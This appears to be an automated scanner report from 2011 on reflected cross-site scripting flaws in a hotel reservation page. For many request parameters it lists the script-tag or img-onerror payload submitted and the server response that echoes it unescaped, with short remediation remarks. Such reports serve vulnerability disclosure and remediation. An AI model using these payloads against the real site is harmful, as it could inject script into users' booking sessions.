HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:33:34 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: 10/7/20115b1cb--><img src=a onerror=alert(1)>a97efa02bef is an invalid date or time string. <br> ...[SNIP]...
The value of the depositRequired request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload e59d3"><script>alert(1)</script>79153e46eb0 was submitted in the depositRequired parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:35 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="depositRequired" value="truee59d3"><script>alert(1)</script>79153e46eb0"> ...[SNIP]...
The value of the displayCurrencyCode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload ac706"><script>alert(1)</script>3aca14f8883 was submitted in the displayCurrencyCode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:13 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="displayCurrencyCode" value="USDac706"><script>alert(1)</script>3aca14f8883"> ...[SNIP]...
The value of the displayRoomRate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6daa4"><script>alert(1)</script>ff05d5905e4 was submitted in the displayRoomRate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:02 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58861
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="displayRoomRate" value="1434.26daa4"><script>alert(1)</script>ff05d5905e4"> ...[SNIP]...
The value of the extraPersonFees request parameter is copied into an HTML comment. The payload 31a57--><img%20src%3da%20onerror%3dalert(1)>ded68a36227 was submitted in the extraPersonFees parameter. This input was echoed as 31a57--><img src=a onerror=alert(1)>ded68a36227 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:34:19 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: The value 31a57--><img src=a onerror=alert(1)>ded68a36227 cannot be converted to a number. <br> ...[SNIP]...
The value of the guaranteeRequired request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4cdc4"><script>alert(1)</script>9e0c0b1755e was submitted in the guaranteeRequired parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:41 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="guaranteeRequired" value="false4cdc4"><script>alert(1)</script>9e0c0b1755e"> ...[SNIP]...
The value of the hotelID request parameter is copied into an HTML comment. The payload d8c46--><img%20src%3da%20onerror%3dalert(1)>07b9aa2c06b was submitted in the hotelID parameter. This input was echoed as d8c46--><img src=a onerror=alert(1)>07b9aa2c06b in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:36:38 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: The value 113791d8c46--><img src=a onerror=alert(1)>07b9aa2c06b cannot be converted to a number. <br> ...[SNIP]...
The value of the hrnQuoteKey request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 43004"><script>alert(1)</script>c625091ee21 was submitted in the hrnQuoteKey parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:20 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="hrnQuoteKey" value="9f715d9d-c49b-4dea-841d-bf8e7f68495343004"><script>alert(1)</script>c625091ee21"> ...[SNIP]...
The value of the immediateChargeRequired request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload d1156"><script>alert(1)</script>2e6da93adbe was submitted in the immediateChargeRequired parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:29 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="immediateChargeRequired" value="trued1156"><script>alert(1)</script>2e6da93adbe"> ...[SNIP]...
The value of the locale request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload c9ad1"><script>alert(1)</script>bcab21e07d7 was submitted in the locale parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:32:16 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="locale" value="en_USc9ad1"><script>alert(1)</script>bcab21e07d7"> ...[SNIP]...
The value of the nativeCurrencyCode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 2279f"><script>alert(1)</script>9b3ceb2908a was submitted in the nativeCurrencyCode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:34:12 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 59048
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="nativeCurrencyCode" value="USD2279f"><script>alert(1)</script>9b3ceb2908a"> ...[SNIP]...
The value of the nativeRoomRate request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 4056c"><script>alert(1)</script>09a0685d1d3 was submitted in the nativeRoomRate parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:34:08 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="nativeRoomRate" value="1434.24056c"><script>alert(1)</script>09a0685d1d3"> ...[SNIP]...
The value of the numberOfAdults request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 77570"><script>alert(1)</script>39a512bdb59 was submitted in the numberOfAdults parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:32:27 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58996
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <a href="http://www.HotelPlanner.com/Hotel/HotelRoomTypes.cfm?hotelID=113791&inDate=10/4/2011&outDate=10/7/2011&NumRooms=1&NumBeds=&NumAdults=277570"><script>alert(1)</script>39a512bdb59&NumChildren=0#Avail"> ...[SNIP]...
The value of the numberOfAdults request parameter is copied into the HTML document as plain text between tags. The payload 15138<script>alert(1)</script>561283b1b15 was submitted in the numberOfAdults parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:32:29 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58988
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <br> Adults: 215138<script>alert(1)</script>561283b1b15 Children: 0 <div align="right"> ...[SNIP]...
The value of the numberOfChildren request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7bb05"><script>alert(1)</script>d904716273c was submitted in the numberOfChildren parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:32:38 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58996
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <a href="http://www.HotelPlanner.com/Hotel/HotelRoomTypes.cfm?hotelID=113791&inDate=10/4/2011&outDate=10/7/2011&NumRooms=1&NumBeds=&NumAdults=2&NumChildren=07bb05"><script>alert(1)</script>d904716273c#Avail"> ...[SNIP]...
The value of the numberOfChildren request parameter is copied into the HTML document as plain text between tags. The payload 91311<script>alert(1)</script>6f2b54e81f4 was submitted in the numberOfChildren parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:32:40 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58988
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <br> Adults: 2 Children: 091311<script>alert(1)</script>6f2b54e81f4 <div align="right"> ...[SNIP]...
The value of the numberOfRooms request parameter is copied into an HTML comment. The payload 27273--><img%20src%3da%20onerror%3dalert(1)>cc789263516 was submitted in the numberOfRooms parameter. This input was echoed as 27273--><img src=a onerror=alert(1)>cc789263516 in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response. The PoC attack demonstrated uses an event handler to introduce arbitrary JavaScript into the document.
Remediation detail
Echoing user-controllable data within HTML comment tags does not prevent XSS attacks if the user is able to close the comment or use other techniques to introduce scripts within the comment context.
HTTP/1.1 503 Service Temporarily Unavailable Connection: close Date: Mon, 03 Oct 2011 00:32:51 GMT Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Content-Type: text/html; charset=UTF-8 retry-after: 3600
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Page Not Available</title> <meta http-equiv="Content-Type" content="text/html; charset=utf-8"> <meta h ...[SNIP]... <!--
Diagnostic Information: The value 127273--><img src=a onerror=alert(1)>cc789263516 cannot be converted to a number. <br> ...[SNIP]...
The value of the promoDescription request parameter is copied into the HTML document as plain text between tags. The payload 1216d<script>alert(1)</script>7374d724c38 was submitted in the promoDescription parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:25 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 59105
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <font color="3865a8">1216d<script>alert(1)</script>7374d724c38</font> ...[SNIP]...
The value of the promoDescription request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 9d50c"><script>alert(1)</script>f302cb1ee7a was submitted in the promoDescription parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:24 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 59111
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="promoDescription" value="9d50c"><script>alert(1)</script>f302cb1ee7a"> ...[SNIP]...
The value of the promoType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 7b617"><script>alert(1)</script>f2b3557c9b0 was submitted in the promoType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:16 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="promoType" value="7b617"><script>alert(1)</script>f2b3557c9b0"> ...[SNIP]...
The value of the propertyID request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b8fa7"><script>alert(1)</script>bb450458818 was submitted in the propertyID parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:20 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="propertyID" value="15159b8fa7"><script>alert(1)</script>bb450458818"> ...[SNIP]...
The value of the propertyType request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 949b0"><script>alert(1)</script>2ab353c7bc2 was submitted in the propertyType parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:51 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="propertyType" value="H949b0"><script>alert(1)</script>2ab353c7bc2"> ...[SNIP]...
The value of the rateChange request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 265cb"><script>alert(1)</script>edc7ebe0c7d was submitted in the rateChange parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:35:44 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="rateChange" value="true265cb"><script>alert(1)</script>edc7ebe0c7d"> ...[SNIP]...
The value of the rateCode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 8fab0"><script>alert(1)</script>f908b250ca1 was submitted in the rateCode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:27 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="rateCode" value="2002057128fab0"><script>alert(1)</script>f908b250ca1"> ...[SNIP]...
The value of the rateDescription request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload b2ea1"><script>alert(1)</script>3d05f782135 was submitted in the rateDescription parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:12 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="rateDescription" value="Superior Room 1 King Bedb2ea1"><script>alert(1)</script>3d05f782135"> ...[SNIP]...
The value of the rateFrequency request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 804fd"><script>alert(1)</script>5d1bc77c587 was submitted in the rateFrequency parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:34:04 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="rateFrequency" value="B804fd"><script>alert(1)</script>5d1bc77c587"> ...[SNIP]...
The value of the roomTypeCode request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload dfc91"><script>alert(1)</script>d327485d86c was submitted in the roomTypeCode parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
HTTP/1.1 200 OK Connection: close Date: Mon, 03 Oct 2011 00:36:23 GMT Content-Type: text/html; charset=UTF-8 Server: Microsoft-IIS/6.0 P3P: CP='NOI DSP COR LAW NID CUR ADMa OUR DELa IND PHY ONL UNI PUR COM NAV STA' Set-Cookie: LOCALE=en%5FUS;path=/ Set-Cookie: CURRENCY=USD;path=/ Set-Cookie: LANGUAGE=1;path=/ Vary: Accept-Encoding Content-Length: 58867
<!DOCTYPE HTML PUBLIC "-//W3C//DTD HTML 4.0 Transitional//EN"> <html> <head> <title>Book Now - Submit Secure Hotel Reservation</title> <meta http-equiv="Content-Type" content="text/html; ch ...[SNIP]... <input type="hidden" name="roomTypeCode" value="200034536dfc91"><script>alert(1)</script>d327485d86c"> ...[SNIP]...
The value of the roomTypeDescription request parameter is copied into the value of an HTML tag attribute which is encapsulated in double quotation marks. The payload 6054a"><script>alert(1)</script>9a5b6e7cfdb was submitted in the roomTypeDescription parameter. This input was echoed unmodified in the application's response.
This proof-of-concept attack demonstrates that it is possible to inject arbitrary JavaScript into the application's response.
